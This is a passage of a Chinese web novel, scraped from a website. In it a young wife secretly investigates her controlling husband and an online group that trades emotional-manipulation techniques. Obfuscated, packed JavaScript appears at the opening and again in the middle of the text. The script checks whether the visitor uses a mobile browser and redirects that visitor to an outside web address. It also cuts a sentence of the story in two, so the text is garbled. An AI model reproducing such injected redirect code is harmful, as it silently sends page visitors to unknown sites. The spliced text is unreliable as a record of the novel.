l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803677|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“妹妹。” 终于,他开口了,眼神也直视上魏芷的目光。 “我的亲妹妹。”他说。 魏芷听他讲述了他的故事。 他和陈靖雁本是同父同母的兄妹,他们的父母是一对老实巴交的农民。在他五岁那年,父母因为车祸双亡。 “……我们村的人出行基本都靠摩托车。很少有人戴安全帽,他们认为出事的都是极少数。我的父母也是这样想的。所以在撞上汽车的时候,他们一个当场扭断脖子,一个送到医院后抢救无效死亡。” “我和燕子的爷爷奶奶走得早,外婆也不在了,只剩下一个住在别人家里的外公。亲戚们都不愿收留我们。我和燕子被推来推去,最后在村委会的调节下,我被叔叔收养,而燕子,他们都不愿收养女孩——三岁的燕子被送给了城里一对没有孩子的大学教授。” 他停顿了很久,然后才说道: “燕子后来过得很好。” “那你呢?”魏芷问。 他回避了这个问题。 “我和燕子被分开收养后,我一直决心长大以后要找回自己的妹妹。但后来……你也看到了,我高中没读完就辍学了,而燕子,她考上了重点大学。”他说,“这些都是我找人打听的,知道燕子过得很好,我就心满意足。找不找回她,也就不重要了。” “知道有我这么一个哥哥,她也不会过得更好。”他低声说,“不如就让她当一个幸福的独生女。” 只是,后来她遇见了季琪琨。 “他们在高二的时候开始交往。”他低着头说,“燕子大一上半年的时候,忽然冒夜驱车两千多公里,她连续驾驶了二十三个小时,就在快要抵达季琪琨所在城市的时候,发生了车祸。” “她撞上了一辆正常行驶的大货车,当场就没了。” “就在半年前,她在医院有过流产记录。” 谭孟彦用双手掩住面庞,让魏芷看不到他此刻的表情。 “我必须让季琪琨付出代价。”从他的指缝里传出嘶哑的声音,“为此我可以做任何事情。” 魏芷握住了他的手。 谭孟彦因为她意外的行动而抬起了脸,她看见那张冷硬的面庞上挂着泪痕。 “所以你加入了郑田心的行动,为了给妹妹复仇。”魏芷注视着他的眼睛。 他看向她握着他的手,那只纤瘦的手上没有任何饰物。 “田心姐是怎么认识你的?”魏芷问。 “……六年前,”他说,“郑田心找到我,告诉我她调查过我的事情,说可以为我妹妹复仇。所以我来了。她帮我办了假证,因为我不确定燕子还记不记得我,有没有将我的事情告诉季琪琨。” “我只想找到季琪琨,用我自己的方式替妹妹报仇。”他的脸上露出黯淡的苦笑,“反正我也活不了多久了,一命换一命,我不亏。” “但郑田心告诉我,这样无法让天下人都知道季琪琨的真面目,不能真正地为妹妹伸冤。所以我一直等着……直到你的出现。” “在我之前,你们还找过其他人吗?”魏芷问。 “你是唯一一个让郑田心满意的人。” 这么说来,郑田心还考察过其他人。说不定同在一个画廊里的小蔡等人,也同样受过考察。 只不过,这种考察的标准是什么呢? “……我不能说。” 谭孟彦从她的手里抽走了手,背对着她,再转过脸来时,魏芷看见他已经恢复了冷漠的表情。 “还有什么事吗?” “还有一件——” 魏芷站了起来,微笑着对他说: “保重身体,不要再做激烈的锻炼。温和的有氧也挺好的,你还有未尽的任务不是么?” 魏芷已经在网上查过尿毒症的注意事项,她从地上艰难地捡起一对哑铃抱在怀里,对谭孟彦笑道: “这些东西我就拿走了哦?” 谭孟彦愣在原地,有什么东西堵住了他的喉咙,让他只能眼睁睁地看着魏芷抱着他的哑铃走下了水站。 他几乎忍不住要叫住魏芷,将一切和盘托出。 但他用力咬住嘴唇,任由愧疚淹没了自己。 36.第 36 章 两天后,魏芷从谭孟彦那里拿回了魏来的旧手机。 “我找了一个放贷的朋友,他们追踪IP很有一套。但这个灵魂主宰使用了□□,每次追踪过去的位置都不一样。” “所以找不到他吗?” “我让他用小号申请入群了。如果通过了,后续还会继续追踪灵魂主宰的定位,一旦得到真实IP,他会马上通知我。” 一只狡猾的海豚。 “帮我弄一张手机卡。”魏芷转而说道,“这个手机里原本的卡销户了。” 这点小事对谭孟彦根本不算什么。 翌日,魏芷将新手机卡插入旧手机,然后将自己的电话呼叫转移到这个旧手机上,带着旧手机出了门。 有了呼叫转移,她就有了更多的时间行动。 魏芷的目的地是大山关派出所。她没有提前和张开阳联系,但就像她预料的那样,张开阳果然在所里。 见到她的登门拜访,张开阳的意外中又掺杂了一丝担心。 他带她离开嘈杂的窗口区,来到所里安静的办公区。在上次那间无人的办公室里,他请她随便坐下,泡了两杯茶放在彼此面前。 “你说有事情想问我?”张开阳说。 “是关于季琪琨和梅满的事。”魏芷说,“我想知道更多他们交往时候的细节。我在网上查过了,但是网上几乎搜不到具体信息。” “法院判决梅满家属败诉后,季家插手了舆论,现在很多东西都搜不到了。”张开阳说,“你了解这个做什么?” “季琪琨是否限制了梅满的交友?”魏芷直接说道,“他有没有通过手段离间梅满和身边人的关系?他是否通过反复打压和奖励的模式,在梅满身上建立了条件反射?” 张开阳的表情不一样了,他凝重地看着魏芷:“你怎么知道这些的?” “我前几天上网,在网上发现了一个叫‘海豚之家’的群,知道了一个叫‘泡学’的东西,很多人都在群里分享这种情感控制技巧,他们自诩‘海豚‘,’通过不断重复打压和奖励的模式,来控制受害者的心灵和身体。” “我发现,”她顿了顿,“我丈夫的很多行为都符合这上面的条例。” 张开阳没有说话。 “我想知道,”魏芷抬头直视他的双眼,“梅满有没有可能是在被精神控制的情况下被迫自杀的。” 茶杯里的热气从一开始的生机勃勃,随着时间的流逝,已经只剩下微弱的热气在杯口盘旋。 办公室里的缄默持续了好一会,被张开阳的一声叹息打破。 “梅满家属败诉的其中一个原因,就是证明梅满受到精神控制的直接证据太少。季琪琨没有在有迹可循的地方留下虐待证据,包括梅满跳楼那天,天台上也没有监控,只能靠季琪琨的自述和现勘来还原当时的场景。” “警方在现场勘察中没有发现打斗和被迫的痕迹,只能判断梅满是以自己的意志走到天台边缘跳下的。如果当时能有更多证据证明梅满是处于一种无法反抗的精神控制中,判决结果可能就会不同了吧。” 魏芷问:“梅满一案并没有过追诉期,如果后续有新的证据出现,是否就能推动重审?” 张开阳彻底迷惑了,他不明白,如果魏芷想要追究季琪琨曾经的罪行,为什么要坚决和他结婚?如果魏芷如她所说,结婚是因为爱情,那么又为什么要这么执着地探寻过去的事情? “……你到底想做什么?”他问。 “你还没回答我的问题。”魏芷说,“季琪琨对梅满做过这样的事吗?” 这涉及当事两人的隐私,从规章来说张开阳不应该透露太多,但他犹豫片刻后,还是决定对魏芷坦诚。 因为她不是无关人员,她现在是当事人之一的妻子,也可能是下一个受到精神控制的人。 “是。”他说,“季琪琨限制她的交友,离间她和朋友的关系,挑拨她和家人决裂,把她变成一座孤岛。梅满跳楼的时候,通讯录里只有季琪琨的名字。” 张开阳停顿了一下,看了眼魏芷。 “……就和你一样。” “我不能确定地告诉你季琪琨就是那些使用PUA技巧的人,但我可以告诉你,所有试图用这种手段来控制人心的,都是控制欲异于常人,有人格缺陷的人。他们蔑视人的理智和情感,不仅会控制和虐待亲近之人,还会将受害者的照片或视频发到网上炫耀,并称之为‘作品’,以此显示自己在头脑和手段上都高人一等。” “你第一次见我就欲言又止,是不是因为这个原因?”魏芷笑道,“你怕我成为下一个受害者?” “……难道你没有吗?” “有前车之鉴,我当然会想办法保护自己。”魏芷站了起来,“我想问的就只有这些,谢谢你告诉我实情,张警官。” 张开阳送魏芷离开派出所后,遇见了从外边出警归来的老吴。 “吴队。”张开阳说。 老吴手握保温杯,眯眼看着魏芷熟悉的身影,一下就认出了她。 “她不会身边又出事了吧?”老吴面露担忧。 “她来问当年梅满的事情。” “怎么,她也怕啦?”老吴打趣道,“她不是铁了心要嫁人家吗?” “……她不是怕。”张开阳说。 “那是什么?” “我也说不清楚……她已经怀疑季琪琨的行为和精神控制有关,但她看上去并不害怕。” “正常人知道自己丈夫是个变态,怎么可能不害怕?”老吴一脸不信。 “她的确不怕。”张开阳回忆起魏芷的表情和行动,“她甚至没有问如果受到类似的伤害,要怎么去保护自己。这不合常理。” “要说不合常理,发生在这姑娘身上的事都不太符合常理。” “……她的眼神,让我想起了翁秀越。”张开阳说。 老吴饮了一口保温杯里的枸杞茶,说: “别说我没提醒你啊,有证据才能行动。” “我明白。”张开阳说。 秋日的阳光在派出所门前的地面上洒下一片片金黄。光线柔和地铺展,轻轻跃过街道,穿过树梢间的缝隙,透过宽大的落地窗,照亮了季琪琨家中无数张纤尘不染的镜面。 季琪琨外出办事,偶然路过附近时,心血来潮决定回家一趟。 他设想过很多情形,却没想到在家等他的只有中岛上魏芷的手机。 他拿起手机,一言不发地端详着,下垂的黑色睫毛半遮半掩着冷漠的流光,身后的灿烂千阳,只在他的面孔上留下一层阴影。 忽然,他的手机震动起来。 是唐秘书的电话。 “小季总,夫人正在公司,想要和您通话。”年轻女性轻柔动听的声音从听筒里传出。 “……夫人?” “是的,我这就把电话给她。” 很快,电话那头传来了魏芷的声音。 “老公,我在你的公司,你怎么不在呢?” “你去公司做什么?”季琪琨问,“手机为什么不带?” 魏芷看了眼一脸打趣的唐秘书,用戴着结婚戒指的手握着借来的手机,转过身不好意思地说道: “我想给你个惊喜啊,所以没告诉你就来公司了。不过,你怎么知道我没带手机?” 季琪琨把魏芷的手机放回中岛,继续说道:“当然是因为我每时每刻都在关注宝贝的行踪啊。我现在正在外边办事,马上就回去了。你在公司等我?” 挂断电话后,季琪琨开车回了公司总部。 魏芷正端正地坐在他的办公室沙发里,旁边簇拥着许多有意来打好关系的部门员工,她一边倾听她们的恭维,一边微笑着予以恰当的回复。许多人手里都握着一杯星巴克,显然是魏芷来前准备的下午茶礼物。 这一幕让季琪琨想起了最初遇见她的时候,他都快要忘记了,她曾经是一个八面玲珑的人,画廊里人人都很喜欢她。 后来,在他的有意干预下,她在画廊的形容词变成了沉默和孤僻。 “你们都出去吧。”他冷声说。 能厚着脸皮来这里拉关系的,都不是什么傻子。听出季琪琨语带不悦,纷纷跑得飞快。很快,办公室里就只剩下了魏芷和唐秘书。 “我去复印上午的合同,小季总有什么事再叫我。” 唐秘书识趣地关上了办公室的门。 这下,房间里只剩下魏芷和季琪琨两人。 “你是在反抗我吗?”季琪琨的声音仿佛从寒冰中渗出。 “什么?” 魏芷一怔,随即感到一阵冷意。季琪琨瘦削的身躯如同阴影般投下,她被迫退到了墙角,他的双臂像是冰冷的铁链,将她紧紧束缚在狭窄的空间内。他俯视着她,眼神中没有一丝温度。 “第一,你擅自出行;第二,你没有带手机。”他低声说,“为什么?为什么不听我的话?这都是你亲口答应我的事情,你的承诺就这么廉价吗?” “我只是想给你一个惊喜……”魏芷说。 “你觉得我惊喜了吗?”他的话语中带着讽刺的锋芒。 魏芷无言以对。季琪琨接着说:“从结果来说,我没有感到惊喜,所以那就只能算是你的一厢情愿。你背叛了你的承诺。” “我……”魏芷试图辩解,但声音被掐灭在喉头。 季琪琨的手猛然扣住她的手腕,力道之大,仿佛要将脆弱的骨头捏碎。 “你真的有把我的话放在心上吗?”他的语气平缓,却让空气更加凝重。 办公室的门突然开启,一个冰冷的声音随之响起。 “是我叫她来的,你有什么意见?”习蔓菁身着名牌套装,手挎鳄鱼皮爱马仕包,面无表情地站在门口。她的身后,季钟永的脸色同样不悦。 如同被无形之火灼烧,季琪琨瞬间松开了魏芷的手腕,改为与她十指相扣,那股迫人的低气压瞬时消散,脸上浮现出一抹温文尔雅的笑容。 “大伯,伯妈——你们怎么来了。” 习蔓菁和季钟永步入办公室,唐秘书迅速关上门,将这场家庭风波隔绝在外。 “你们结婚有一段时间了,公司里的人还没见过你的妻子,与其让他们私下讨论有的没的,还不如让小魏来露一个面。”习蔓菁说,“你要撒气,就撒我的身上。” 季琪琨嘴角勾起一丝恰到好处的笑容:“我怎么会生气呢?小芷来公司我也很高兴,只是没人提前告知,让我吓了一跳。” “是我不好,应该先跟你说一声。”魏芷低声说道。 “这点小事,说不说又有什么关系。你在公司也没有什么见不得光的事。”习蔓菁话中有意无意地带刺。 “伯妈说得对。”季琪琨笑容未减,“我只是担心小芷路上的安全。” “好了,都是些琐事,不必再提。”季钟永显然想结束这个话题,“你伯妈今天心情不错,想要外出用餐。餐厅已经订好,你把手头的事情放一放,我们这就出发。” “好的,我这就准备。”季琪琨答道,语气中透出一丝不易察觉的冷淡。 魏芷就如季琪琨的影子,沉默地跟着三人走过公司走廊,站在电梯前等候的员工看见两名季总和习蔓菁,自觉地退到一旁,将刚刚到达的电梯整个让出。 映出模糊人影的金属电梯门缓缓合上了,魏芷和习蔓菁的目光在空气中短暂交接了一下。 习蔓菁的眼神显然在说:“仅此一次”。 而魏芷则回了个感激的目光。 要不是驻守在水站的谭孟彦第一时间发现季琪琨临时回家,她也不能找到习蔓菁演上这出戏来蒙混过关。 午餐定在一家会员制私房菜馆,幽静的庭院式包房里只有时不时季钟永和季琪琨讨论公司事务的声音。季琪琨的应对进退有度,逻辑清晰,季钟永脸上一开始的不悦也渐渐被喜悦取代。 “看到你这样,我也就不担心公司的以后了。”季钟永感慨道,“再过两年,我就打算退休了。” “伯父老当益壮,还可以干到九十九呢。”季琪琨笑道。 “哎,那可不行——”季钟永摆了摆手,“早点退休,我答应了带蔓菁去环球旅行。是吧,蔓菁?” 季钟永有意讨老婆的欢心,但习蔓菁却不太领情,唇边的笑意更近似于嘲讽。 “二十岁时的承诺,等我五十了再来履行?”她说,“儿子那样,我还不想去了呢。” “小腾也可以一起去嘛。”季钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808569|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永哄道,“我会安排好的。” “伯父和伯妈的感情还是这么好。”季琪琨打趣道。 “那当然了,这世上只有老婆才能陪你一辈子,父母子女都不行。”季钟永意有所指地看着季琪琨,“所以你一定要对小魏好才行,别等到一个人了才知道后悔。” “我知道了,伯父。”季琪琨笑着握住了魏芷的手,“小芷是我的一切。” “哎哟!我们上了年纪的人听不来这些,牙酸!牙酸!”季钟永故意说道。 习蔓菁也配合地笑了两声。 一顿饭结束之后,季钟永和季琪琨要回公司,习蔓菁要去逛街购物,季钟永便将同样闲着的魏芷打包给了习蔓菁,让她“给小魏也多买点”。 魏芷有话想问习蔓菁,顺势同意了。 两拨人分别之前,季琪琨牵住她的手,在她耳边悄悄说道:“刚刚你没怪我吧,小芷?我太着急了,担心你路上出事而我又不知道。” 魏芷摇了摇头:“我知道你是为我好。” 她的回答让季琪琨露出笑容。 “……那就好。” 他低头吻了吻她的额头,说: “去吧,想要什么就刷老公的卡。” 季琪琨和季钟永的车离开之后,季家的司机也开着车到了。习蔓菁和魏芷先后坐上后座,两人谁都没有率先开口。 在习蔓菁的指示下,车开到了江都市最大的奢侈品购物广场。 她们就像一对寻常的婆媳那样逛起了街。 魏芷对奢侈品牌的认知仅限于什么品牌好出货,什么仿货多好交差,一开始习蔓菁还会询问她的意见,但很快就发现了她是个半桶水,宁愿和不在场的好姐妹发信息交流参考,也不再询问她的意见。 不到两个小时,魏芷双臂已经挎满购物袋。 为什么轮到她挎?因为就连司机也两手拿满了东西。 终于,习蔓菁心满意足地结束了购物。 “你先把东西拿回去,等我喝完咖啡,你再来。”她对司机下达了最新指示。 “是,夫人。” 司机毕恭毕敬地弯下腰。 习蔓菁用同样冷淡的目光扫了魏芷一眼:“对咖啡有什么要求?” “您喜欢的就好。”魏芷说。 从习蔓菁的表情来看,她应该正在腹诽魏芷对咖啡的品味和对奢侈品的品味一样烂。 两人来到就在购物广场的一家装潢豪华的咖啡馆,习蔓菁点了一杯蓝山,魏芷选了菜单上最便宜的美式。 “我付钱。”习蔓菁漫不经心地说,“喝点好的。” “谁付钱都一样。”魏芷不卑不亢地微笑道,“我既然品不出来好坏,何必浪费好东西呢?” 习蔓菁没有再说什么,只是把菜单还给了穿西服的侍者。 等四周没有旁人后,习蔓菁缓缓开口:“你白天去了哪里?” “派出所。”魏芷说,“我想知道季琪琨和梅满之间更多的细节。” “警察那里不会再有新的线索,你去了也只是浪费时间。”她有意看了魏芷一眼,“还有可能引来季琪琨怀疑。” “我只是想用自己的眼睛和耳朵去确认当年的真相。”魏芷说。 习蔓菁不屑地冷笑一声。 接下来的好一会时间,两人谁都没有说话。 暖黄灯光洒落于精致的大理石桌面上。柜台后的咖啡师手法娴熟,研磨、萃取,每一动作都透着专业与专注。空气中弥漫着浓郁的咖啡香,静谧中唯有细腻的水流声与轻柔的爵士乐相伴。 侍者用托盘端着两杯香气扑鼻的咖啡走了回来,稳稳地放至两人面前。 “请慢用。” 侍者鞠了一躬,拿着托盘离去。 习蔓菁拿起咖啡勺,轻轻搅拌着香气浓郁的蓝山。 魏芷端起自己的冰美式抿了一口,习蔓菁的目光在她无名指上的婚戒上一扫而过。 “你不会真的爱上他了吧?”她略带嘲讽地说。 “他是我的丈夫,我当然不可能对他毫无感情。”魏芷说。 “你说毫无感情,我反而不会信你。那个人,比任何人都会做表面功夫。”习蔓菁说,“很少有人能看破他的真面目,大多数人,都被他耍得团团转——” 她顿了顿,轻蔑的目光瞥向一旁,仿佛在寻找某个不存在的身影: “就好比我的丈夫。” 不等魏芷说话,她已经结束了这个前菜话题,开门见山道: “我知道你跟我来不可能是为了讨杯咖啡,说吧,你想问什么?” 习蔓菁这么爽快,魏芷也直接说道: “我想知道……您和郑田心是怎么认识的?” “郑田心?”咖啡勺在杯中顿了顿,波澜渐渐平息,习蔓菁抬起头来,“她是我雇来调查季琪琨的人,她不是告诉你了吗?” “我想问的是,您是通过什么渠道,怎么知道有郑田心这个人的?” “是与我有过合作的私人侦探推荐给我的,我曾找他调查过季琪琨的事情,只不过无功而返。但郑田心说,她能帮我搞定时效的问题,还有十足的把握找到季琪琨伤害小腾的犯罪证据。” “你们找到证据了吗?” 习蔓菁端起咖啡慢慢品了一口,然后才说道: “当然,不然我也不会雇佣郑田心。” “您不知道证据具体是什么?”魏芷敏锐地说出了重点。 “知道的人越多,越容易打草惊蛇。” “这是郑田心告诉您的吧?您就这么信任她?”魏芷试探道。 “我们是先办事再付钱。虽然有定金,但我相信那点定金,不足以让郑田心为我工作两年。这两年里,我是切实看到了成果的。”习蔓菁不慌不忙地说,“我相信她。” “我还有一个问题,”魏芷说,“在没有证据的情况下,您为什么觉得季腾坠楼的事情,一定是季琪琨做的?” “你是在怀疑我?”习蔓菁的面色乍然冷了下来,“这是一个母亲的直觉,不可能会出错。” “等你做了母亲,你就知道了——” 她冷硬而坚决地说: “没有母亲会错认杀害自己孩子的凶手。” 37.第 37 章 之后数日,魏芷趁季琪琨不在的时候,又试了几次电脑的开机密码。 “最爱的艺术家”,魏芷始终没有猜出答案。 考虑到季琪琨的性格,那条提示也可能是个障眼法,密码其实跟它完全无关,但魏芷也试了其他与提示无关的可能密码,依旧是一无所获。 谭孟彦那边追踪IP的事情也没有进展。 进群似乎需要一定条件,谭孟彦朋友数次申请入群都遭到了拒绝。追踪自然就无从谈起。 “……就是这样。”谭孟彦在电话那头说道。 魏芷站在客厅宽阔的落地窗前,白云像是一条条撕碎的棉絮,被风推搡着涌过她的眼前。无数张镜子映出她不同角度的身影,就好像她也如云条一般,分裂成了无数个魏芷。 她面无波澜地注视着逃走的云雾,喉咙里发出的却是充满不安的声音。 “等一下——” “还有什么事吗?” “上次在水站见面的时候,田心姐说过,如果季琪琨对我施暴,一定要留下证据……” 谭孟彦的声音立即急促起来。 “他对你做什么了?你受伤了?” “还没有,但是……我有些害怕。”魏芷低声说。 “怕季琪琨,还是什么?” “……所有。所有即将发生的,和可能发生的。” 听筒里的沉默蔓延了许久,魏芷能听到电话那头属于谭孟彦的低沉呼吸声。 此时此刻,他在思考什么? 有没有一个瞬间,为她而动摇? “我们算朋友吗?”她轻声问。 谭孟彦没有说话,就在她以为他会沉默到最后的时候,他开口了。 “……算。” “我可以相信你吗?” “不要相信任何人。”谭孟彦的声音比任何时候都要低沉沙哑,“无论是谁。” “这是作为朋友对我的忠告?” “……对。” “谢谢你。”魏芷说,“我要见郑田心。不要问我为什么,请帮我安排这场见面。” 谭孟彦沉默片刻后,答应了下来。 刚挂断电话,一个陌生来电就打入了魏芷的手机。她调整了下心情和语气,平常地接起了电话。 打电话来的是季琪琨身边的唐秘书。 “小季夫人,不好意思打扰了。小季总的衬衫被一个新来的员工端茶时弄脏了,他想请你帮忙带一件干净衬衫来公司,请问您那边方便吗?” “好的,我这就过来。” 挂了电话,魏芷在衣帽间整整一排的男士衬衫里,选了一件跟他出门时穿的外套相配的衬衫。 三十分钟后,她提着纸口袋出现在公司总部,打了唐秘书的电话后不久,一个窈窕靓丽的身影就快步来到了公司前台。 “跟我来吧,小季夫人。小季总在开会,我带您先去办公室等他。”唐秘书满脸笑容道。 唐秘书只有二十五岁,比魏芷年轻一岁,但无论什么时候都带着全妆,眼中充满雀跃的精神气,凹凸有致的身材即便是在深色的西装套裙下也引人注目。 自从进入集团公司后,魏芷没从季琪琨的口中听说这个唐秘书的事迹。 她聪敏、变通、体贴,几乎能看懂季琪琨的每个眼神。 他虽然没有明说他对唐秘书的欣赏,但魏芷能感觉出他的言下之意,甚至,她还能猜出这是季琪琨有意让她感受到的。 自从她从魏来手机里发现了4000G的PUA网盘资料后,她对季琪琨的许多行为就有了全新的认知。 在情感操纵教程中,有一种著名的理论就叫“三角测量”。 操纵者通过向一方传递关于另一方的正面或负面信息,通过暗示和比较,让两个被操控者之间产生误解、嫉妒或竞争,从而实现对两者的控制。 在教程案例中,两个被操纵者往往是女友和前女友、妻子和同事、追求者和白月光、 如果她没有发现魏来手机里的这些东西,恐怕她会真的将唐秘书视作自己的对手,思考起如何从她那里夺回季琪琨的注意。 “小季夫人,我还需要返回会议室,麻烦你在这里稍等一下。” 季琪琨的办公室里,唐秘书将一杯热气腾腾的龙井放到魏芷面前后,抬起腕上的手表看了一眼,笑着对魏芷说: “大概还有十分钟,会议就结束了。” “我知道了。”魏芷也对她笑道,“谢谢你。” 唐秘书一愣,但马上又一次露出得体的笑容:“您客气了。” 办公室的门关上后,魏芷打量着这间宽敞的套间式办公室。与家中无处不在的镜面装饰不同,套房外部用作秘书办公室——也就是魏芷所处的区域十分普通。通往总裁办公室的门紧闭着,门扉上有一个密码面板。 她看了眼闭拢的百叶窗和悄无声息的大门,起身走向总裁办的门。 纤细的手指抚过密码面板,迟疑片刻后,魏芷输入了季琪琨家中书房的密码。 在这种不安全的环境下,她只打算试一次。魏芷并不抱希望,但那扇门却在她意料之外开启了。 魏芷又回头看了眼大门,会议短时间内不会结束。 这个“短时间”,可能是十分钟,也可能是三分钟。 最终,她还是抵不过心中的渴望,踏入了秘密之门。 时值九月,室外的气温只有十六度,季琪琨的办公室却吹着冰冷的冷气。冷色调的灯光从天花板上的隐藏灯带洒下,将整个房间笼罩在一层压抑的淡蓝色幽光中。办公桌由深色实木制成,表面光滑如镜,上面整齐地摆放着厚厚的文件。 魏芷迈入房间正中,三幅抽象派画作在雪白的墙壁上静静俯视着她。狂乱的触笔和强烈的色彩,在一丝不苟的办公室中格格不入,却被房间主人放在了最醒目的地方。 她只看了一眼就收回目光,想要在办公室里找到任何有助于她掌握主动权的线索。 然而,桌上的文件都是公司商业相关,抽屉里也只有空白的纸笔,空旷的书柜里只有几本名人传记。 魏芷不知道自己在怀疑什么,但她不愿就这样离开。 最终,她将目光投向墙上那格格不入的三幅画。她不可避免地想起季琪琨书房的电脑密码——最爱的艺术家。 为了获得季琪琨的青睐,她付出了许多努力,其中自然包括将季琪琨的喜好倒背如流。但墙上的这三幅画,既没有签名落款,也不像是魏芷已知的那些画家的画风。 她将三幅画分别用手机照了下来,然后走出总裁办,关上门后像什么都没发生似的,坐回了柔软的长沙发。 不过两分钟,她就庆幸起了自己的迅速。 季琪琨和唐秘书说说笑笑的声音在门外响了起来,几秒后,季琪琨打开了办公室的门,唐秘书自觉地留在了门外。 “衣服呢?”他朝魏芷伸出手。 她从口袋里掏出衬衫递了过去。季琪琨扫了一眼衬衫的花色,然后才笑道: “谢谢老婆,没有你我就遇到大麻烦了。” 在魏芷面前,他脱下了那件有茶渍的衬衫。斑驳的阳光透过百叶窗的缝隙洒下,形成一道道细长的光束。阳光在他白皙的皮肤上跳跃,勾勒出每一寸肌肉的轮廓,他的肩部宽阔,胸肌紧实,腹肌分明,仿佛雕塑般完美。 季琪琨接过魏芷递出的衬衫,两条修长的手臂先后穿过衬衫长袖,魏芷再为他依次扣上衬衫纽扣。寂静的空气中,她能感受到他犹如实体的目光始终落在她的头顶,仿佛在审视每一个动作。 “好了。”魏芷的双手离开了他的衬衫,抬头笑道。 季琪琨握住了她离去的双手,放到唇前,轻轻吻了吻。他的唇和办公室里的空气一样冷,激起了魏芷皮肤上的汗毛。 “到家了和我说一声。”他低声说,语气中带着不容置疑的命令。 魏芷离开了办公室,在她关门的时候 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在第二张画中,渐变的色彩和线条走向组成“Domina”,第三张画中藏的则是“tor”。 Soul。 Domina。 tor。 这三个词如同狂笑的幽灵在她眼前盘旋飞舞,让她眼前景象模糊不已,又像是冰冷沉重的铁链,将她紧紧束缚在恐惧的深渊中。 魏芷的脑海中浮现出魏来与SoulDominator的私聊对话。 “哥,我是群里新来的,以后多多照顾!我会努力发言,多提升自己的等级!” 一个网盘链接。 “别告诉其他人。” “这是教程?可我群聊等级还不够啊?” “没关系,合眼缘。” “哈哈,谢谢S哥!谢谢S哥!我也觉得S哥合眼缘,我一定会努力学习,不辜负S哥心意的!” …… “哥,教程上的方法不管用怎么办?” “你对谁用?” “我姐。” “为什么?” “……我想让她重新对我好。” “河豚毒素对海豚来说是一种兴奋剂。但我们想要的时候,从不乞求河豚,而是将牙齿插入河豚的身体。” …… “我今天被我姐带人打了一顿!我的头都破了!草!我他妈真的恨死了,我竟然还对她有过心软,果然像哥说的一样,对付这种人,一定要让她彻底服气才行!” “我说的方法,你考虑好了吗?” “可是我没钱去买摄像头……” “地址给我。” “天啊,你要送我?哥,你对我真的太好了!我都不好意思了!” …… “哥,我们大吵一架后,我把她的药都给她扔了,她现在冲出去了,不会有事吧?她的秘密被我们发现了,我爸可生气了。” “什么秘密?” “她背着我们把网贷借了个遍,少说也欠了八九十万!这事儿要是被她有钱的男朋友知道,肯定马上就会把她甩了!” …… 魏芷的全身控制不住地颤栗起来。 一种无法言喻的寒意从脚底升起,迅速蔓延至全身,她的手指在照片上微微颤抖,呼吸在这一刻变得急促而浅薄,每一口吸进的氧气都像是被冰封的针狠狠刺入肺部。 如果季琪琨早就知道她背负巨额网贷,为什么还会同意与她结婚? 这场狩猎的游戏,究竟谁才是那个猎物? 寂静如坟墓的房间中,无人能回答她的仿徨,唯有她左手无名指上的钻戒,如新娘白纱一般,仍闪耀着皎洁的光辉。 与此同时,大门外响起了熟悉的脚步声。 皮鞋后跟敲击在坚硬冰冷的大理石地面上,哒,哒,哒—— 仿佛秒针的倒数,海豚在优雅地归家。 38.第 38 章 门开了。 季琪琨走进家门,在玄关处换上拖鞋,他抬起头,目光落在厨房中岛忙碌的魏芷背影上。 “老婆,又在辛苦?”他微笑着走来中岛,从身后环住了魏芷的身体。 “我才开始准备晚饭,没想到你这么快就回来了。”魏芷勉强自己露出笑容,“你先忙你的事吧,晚饭还有一段时间。” 季琪琨没有离开,反而贴得更近,低沉沙哑的声音几乎直接钻进她的耳中。 “我想你了。” 一只骨节分明的大手顺着她的裙摆探了进去,轻轻摩挲着她温热的腿根。魏芷全身僵硬,心提到了喉咙眼,但旋即,那只手离开了她的身体。 季琪琨环住她的腰,吻了吻她的脸颊,带着一丝责怪说道: “你不想我吗?” “……我们才刚刚分开啊。” “是啊,才刚刚分开。”他自言自语般说道,“但我已经开始想你了。早知道,就让你多等我一会,我们一起回家。” 他松开了魏芷的身体,笑道: “你慢慢准备吧,我去书房了。” 季琪琨进入书房,那扇禁忌之门在魏芷眼前关上。她站在原地好一会不能动弹,季琪琨碰过的地方,就像是有一条冰冷的大蛇爬过,只留下战栗的鸡皮,和恐惧的余韵。 晚餐之后,季琪琨少有的没有立即返回书房,而是留在了厨房帮魏芷整理家务。 他一边将洗碗机中洗好的碗筷收纳进橱柜,一边对魏芷说: “这个周末我终于能休息了,你有什么想做的,老公陪你。” “公司里的事都忙完了?”魏芷一边擦着柜面,一边努力用平常的语气回应他。 “公事永远也忙不完,但我总得抽出时间来陪老婆。” “如果你忙,不用管我。我不想耽搁你的正事。” “陪老婆就是正事。”季琪琨笑道,“最近新上了几部电影,我听小唐说还不错,要不周末我们去看电影吧?” “你和唐秘书关系这么好,都交流起电影心得了?” “毕竟平时呆的时间长,什么都会聊一些。不过还是以工作为主,小唐的工作能力不用我操心。” “是啊,你和唐秘书在一起的时间比我还长,我都嫉妒了。” 魏芷故意说道。 “工作而已,你才是我唯一的老婆。”季琪琨笑着说。 “你最好心口如一。”魏芷用手指点着他的胸口,也笑道。 这一刻,他们就像世间最平凡的一对新婚夫妻。 但她不知道他心中所想,他也不知道她心中所想。 他们如此熟悉,却又如此陌生。 这一夜,魏芷靠安眠药入睡。 同床异梦,也是夫妻之间最平凡的一种状态。 周末,季琪琨果然履行了诺言,带着魏芷去看了最新的电影。两天时间,他们不仅看了两场电影,还逛了两场画展。 在琳琅满目的画展中,魏芷和季琪琨不约而同被一幅几乎占据整面墙的巨幅油画吸引了目光。 那是江都市一名新锐画家对耶罗尼米斯·博斯的《人间乐园》仿作。 